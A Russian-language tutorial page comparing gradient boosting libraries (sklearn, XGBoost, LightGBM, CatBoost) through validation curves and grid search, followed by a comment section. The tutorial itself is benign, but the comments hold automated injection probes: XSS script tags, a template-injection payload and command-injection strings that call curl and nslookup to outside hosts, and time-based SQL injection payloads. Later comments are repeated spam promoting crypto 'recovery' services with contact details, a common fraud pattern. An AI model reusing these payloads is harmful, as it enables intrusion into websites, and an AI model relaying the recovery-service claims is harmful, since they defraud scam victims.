LightGBM: кривые валидации для скорости обучения

Посмотрим, как влияет параметр learning_rate на качество алгоритма и склонность к переобучению

Код построения кривых валидации
for learning_rate in [1, 0.5, 0.3, 0.2, 0.1]:

    lgb = LGBMClassifier(n_estimators=150, learning_rate=learning_rate, random_state=13, verbose=-1).fit(X_train, y_train)

    test_deviance = np.zeros((lgb.n_estimators,), dtype=np.float64)
    for i in range(lgb.n_estimators):
        y_pred_test = lgb.predict(X_test, num_iteration=i)
        test_deviance[i] = roc_auc_score(y_test, y_pred_test)

    train_deviance = np.zeros((lgb.n_estimators,), dtype=np.float64)
    for i in range(lgb.n_estimators):
        y_pred_train = lgb.predict(X_train, num_iteration=i)
        train_deviance[i] = roc_auc_score(y_train, y_pred_train)

    plt.figure()
    plt.plot(test_deviance[1:], 'r', linewidth=2)
    plt.plot(train_deviance[1:], 'g', linewidth=2)
    plt.legend(['test', 'train'])
    
    plt.title('LightGBM lr=%.1f, test roc-auc=%.3f, best_est=%d' % (learning_rate, test_deviance.max(), test_deviance.argmax()))
    plt.xlabel('Number of trees')
    plt.ylabel('Metric')
pngpngpngpngpng

Максимальное значение метрики ROC-AUC достигается с параметром learning rate равным 0.3 и n_estimators равным 12.

Запустим модель с найденными оптимальными значениями гиперпараметров lr=0.3, n_estimators=12

lgbm = LGBMClassifier(n_estimators=12, learning_rate=0.3, verbose=-1, random_state=13)
lgbm.fit(X_train, y_train)
y_pred = lgbm.predict(X_test)
results['LightGBM-VC'] = quality(y_test, y_pred)
     Accuracy: 0.803
    Precision: 0.664
       Recall: 0.524
     F1-score: 0.586
          AUC: 0.714
pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

XGBoost

0.786

0.621

0.503

0.556

0.696

XGBoost-VC

0.803

0.661

0.531

0.589

0.716

XGBoost-GS

0.806

0.668

0.535

0.594

0.719

LightGBM

0.794

0.643

0.504

0.565

0.702

LightGBM-VC

0.803

0.664

0.524

0.586

0.714

Видим, что результаты улучшились.

LightGBM: настройка гиперпараметров с использованием GridSearchCV

Проведем настройку гиперпараметров поиском по сетке с использованием GridSearchCV

Код настройки гиперпараметров с использованием GridSearchCV
# Define Gradient Boosting classifier with default parameters
clf = LGBMClassifier(verbose=-1, random_state=13)

# Estimate grid of the classifier hyperparameters
parameters = {'n_estimators':[10,50,100,150],
              'max_depth':[1,2,3,5],
              'learning_rate':[1,0.5,0.3,0.2,0.1]
             }

# Define GridSearch parameters
gs = GridSearchCV(clf,                 # Classifier object to optimize
                  parameters,          # Grid of the hyperparameters
                  scoring='roc_auc',   # Classification quality metric to optimize
                  cv=5                 # Number of folds in KFolds cross-validation
                 )

# Run Grid Search optimization
gs.fit(X_train, y_train)
gs.best_params_
    {'learning_rate': 0.2, 'max_depth': 1, 'n_estimators': 150}
pred_gs = gs.predict(X_test)
results['LightGBM-GS'] = quality(y_test, pred_gs)
     Accuracy: 0.806
    Precision: 0.669
       Recall: 0.533
     F1-score: 0.593
          AUC: 0.719
pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

XGBoost

0.786

0.621

0.503

0.556

0.696

XGBoost-VC

0.803

0.661

0.531

0.589

0.716

XGBoost-GS

0.806

0.668

0.535

0.594

0.719

LightGBM

0.794

0.643

0.504

0.565

0.702

LightGBM-VC

0.803

0.664

0.524

0.586

0.714

LightGBM-GS

0.806

0.669

0.533

0.593

0.719

После настройки на GridSearchCV результаты LightGBM по метрике ROC-AUC сравнялись с xgboost - плотная борьба...

CatBoost

На десерт протестируем реализацию алгоритма бустинга пакета catboost от Yandex и для начала оценим метрики "из коробки", то есть, со значениями гиперпараметров по умолчанию

catboost = CatBoostClassifier(logging_level='Silent', random_state=13)

catboost.fit(X_train, y_train)
pred = catboost.predict(X_test)

results['Catboost'] = quality(y_test, pred)
     Accuracy: 0.799
    Precision: 0.656
       Recall: 0.51
     F1-score: 0.574
          AUC: 0.706
pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

XGBoost

0.786

0.621

0.503

0.556

0.696

XGBoost-VC

0.803

0.661

0.531

0.589

0.716

XGBoost-GS

0.806

0.668

0.535

0.594

0.719

LightGBM

0.794

0.643

0.504

0.565

0.702

LightGBM-VC

0.803

0.664

0.524

0.586

0.714

LightGBM-GS

0.806

0.669

0.533

0.593

0.719

Catboost

0.799

0.656

0.510

0.574

0.706

И у нас есть первый результат catboost, который мы попробуем улучшить

Catboost: кривая валидации для количества деревьев

Как обычно, начнем настройку с кривой валидации для количества деревьев (n_estimators)

Код построения кривой валидации для n_estimators
n_trees = [1, 3, 5, 10, 50, 100, 200, 300, 400, 500]
quals_train = []
quals_test = []
for n in n_trees:
    clf = CatBoostClassifier(iterations=n, logging_level='Silent', random_state=13)
    clf.fit(X_train, y_train)
    q_train = roc_auc_score(y_train, clf.predict(X_train))
    q_test = roc_auc_score(y_test, clf.predict(X_test))

    quals_train.append(q_train)
    quals_test.append(q_test)

plt.figure(figsize=(8, 5))
plt.plot(n_trees, quals_train, marker='.', label='train')
plt.plot(n_trees, quals_test, marker='.', label='test')
plt.xlabel('Number of trees')
plt.ylabel('AUC-ROC')
plt.title('Catboost Validation Curve')
plt.legend()

plt.show();
png

Отсортируем результаты в порядке убывания выбранной метрики

sorted(list(zip(quals_test, n_trees)), reverse=True)
    [(0.7219435458906844, 100),
     (0.7210522802935365, 10),
     (0.7113398443478572, 300),
     (0.7110170554517953, 50),
     (0.7071292041671413, 400),
     (0.7028414628953876, 500),
     (0.6999363628308299, 200),
     (0.69259449774393, 5),
     (0.680159932979589, 1),
     (0.6744320123729989, 3)]

Лучший результат достигается для 100 деревьев

Catboost: кривые валидации для скорости обучения

Продолжим настройку и посмотрим, как гиперпараметр learning rate влияет на качество алгоритма и склонность к переобучению

Код построения кривых валидации для learning rate
n_iterations = 150
for learning_rate in [1, 0.5, 0.3, 0.2, 0.1]:

    cbt = CatBoostClassifier(iterations=n_iterations, learning_rate=learning_rate, logging_level='Silent', random_state=13).fit(X_train, y_train)
    
    test_deviance = np.zeros((n_iterations,), dtype=np.float64)
    for i, y_pred in enumerate(cbt.staged_predict(X_test, prediction_type='Class', ntree_start=0, ntree_end=i)):
        test_deviance[i] = roc_auc_score(y_test, y_pred)
    
    train_deviance = np.zeros((n_iterations,), dtype=np.float64)
    for i, y_pred in enumerate(cbt.staged_predict(X_train, prediction_type='Class', ntree_start=0, ntree_end=i)):
        train_deviance[i] = roc_auc_score(y_train, y_pred)

    plt.figure()
    plt.plot(test_deviance, 'r', linewidth=2)
    plt.plot(train_deviance, 'g', linewidth=2)
    plt.legend(['test', 'train'])
    
    plt.title('Catboost lr=%.1f, test roc-auc=%.3f, best_est=%d' % (learning_rate, test_deviance.max(), test_deviance.argmax()+1))
    plt.xlabel('Number of trees')
    plt.ylabel('Metric')
pngpngpngpngpng

Максимальное значение метрики ROC-AUC достигается при learning rate (lr) равном 0.1 и количестве этапов бустинга (n_estimators) равном 98.

Запустим модель с найденным оптимальным набором гиперпараметров lr=0.1, n_estimators=98

catboost = CatBoostClassifier(iterations=98, learning_rate=0.1, logging_level='Silent', random_state=13)
catboost.fit(X_train, y_train)
pred = catboost.predict(X_test)
results['Catboost-VC'] = quality(y_test, pred)
     Accuracy: 0.81
    Precision: 0.677
       Recall: 0.545
     F1-score: 0.604
          AUC: 0.726
pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

XGBoost

0.786

0.621

0.503

0.556

0.696

XGBoost-VC

0.803

0.661

0.531

0.589

0.716

XGBoost-GS

0.806

0.668

0.535

0.594

0.719

LightGBM

0.794

0.643

0.504

0.565

0.702

LightGBM-VC

0.803

0.664

0.524

0.586

0.714

LightGBM-GS

0.806

0.669

0.533

0.593

0.719

Catboost

0.799

0.656

0.510

0.574

0.706

Catboost-VC

0.810

0.677

0.545

0.604

0.726

И у нас смена лидера - catboost вырывается вперед !

Catboost: настройка гиперпараметров по сетке с кроссвалидацией

Проведем завершающую настройку поиском по сетке с использованием GridSearchCV

Код запуска классификатора catboost с использованием GridSearchCV
# Define Gradient Boosting classifier with default parameters
clf = CatBoostClassifier(logging_level='Silent', random_state=13)

# Estimate grid of the classifier hyperparameters
parameters = {'n_estimators':[10,50,100,150],
              'max_depth':[1,2,3,5],
              'learning_rate':[1,0.5,0.3,0.2,0.1]
             }

# Define GridSearch parameters
gs = GridSearchCV(clf,                 # Classifier object to optimize
                  parameters,          # Grid of the hyperparameters
                  scoring='roc_auc',   # Classification quality metric to optimize
                  cv=5                 # Number of folds in KFolds cross-validation
                 )

# Run Grid Search optimization
gs.fit(X_train, y_train)
gs.best_params_
    {'learning_rate': 0.1, 'max_depth': 3, 'n_estimators': 100}
pred_gs = gs.predict(X_test)
results['CatBoost-GS'] = quality(y_test, pred_gs)
     Accuracy: 0.808
    Precision: 0.676
       Recall: 0.533
     F1-score: 0.596
          AUC: 0.72
pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

XGBoost

0.786

0.621

0.503

0.556

0.696

XGBoost-VC

0.803

0.661

0.531

0.589

0.716

XGBoost-GS

0.806

0.668

0.535

0.594

0.719

LightGBM

0.794

0.643

0.504

0.565

0.702

LightGBM-VC

0.803

0.664

0.524

0.586

0.714

LightGBM-GS

0.806

0.669

0.533

0.593

0.719

Catboost

0.799

0.656

0.510

0.574

0.706

Catboost-VC

0.810

0.677

0.545

0.604

0.726

Catboost-GS

0.808

0.676

0.533

0.596

0.720

И на GridSearchCV catboost показывает результаты чуть хуже...

Результаты и выводы

Итоговая таблица лидеров

Отсортируем итоговую турнирную таблицу по убыванию метрики ROC-AUC

Accuracy

Precision

Recall

F1-Score

AUC

Catboost-VC

0.810

0.677

0.545

0.604

0.726

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Catboost-GS

0.808

0.676

0.533

0.596

0.720

XGBoost-GS

0.806

0.668

0.535

0.594

0.719

LightGBM-GS

0.806

0.669

0.533

0.593

0.719

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

Sklearn

0.807

0.678

0.522

0.59

0.716

XGBoost-VC

0.803

0.661

0.531

0.589

0.716

LightGBM-VC

0.803

0.664

0.524

0.586

0.714

Catboost

0.799

0.656

0.510

0.574

0.706

LightGBM

0.794

0.643

0.504

0.565

0.702

XGBoost

0.786

0.621

0.503

0.556

0.696

И чемпионом становится catboost !

Визуализация результатов

Как известно, одна картинка стоит тысячи слов, поэтому визуализируем полученные результаты

Код для визуализации
plt.figure(figsize=(15, 6))
x = np.arange(5)

for key, value in results.items():
    plt.plot(x, results[key], marker='x', label=key);
    
plt.xticks(x, ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']);
plt.ylim(0.49, 0.82)
plt.legend(prop ={'size': 10});
png

Выводы

  • Из коробки на первом месте реализация Sklearn, потом Catboost, затем LightGBM и XGBoost завершающий;

  • После настройки параметров на первое место вышел Catboost, Sklearn переместился на второе, а третье поделили XGBoost и LightGBM с минимальным отставанием от второго места );

  • Учитывая близость результатов можно сказать, что современные реализации алгоритма градиентного бустинга достаточно эффективны и все рассмотренные алгоритмы прекрасно справляются со своей задачей.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

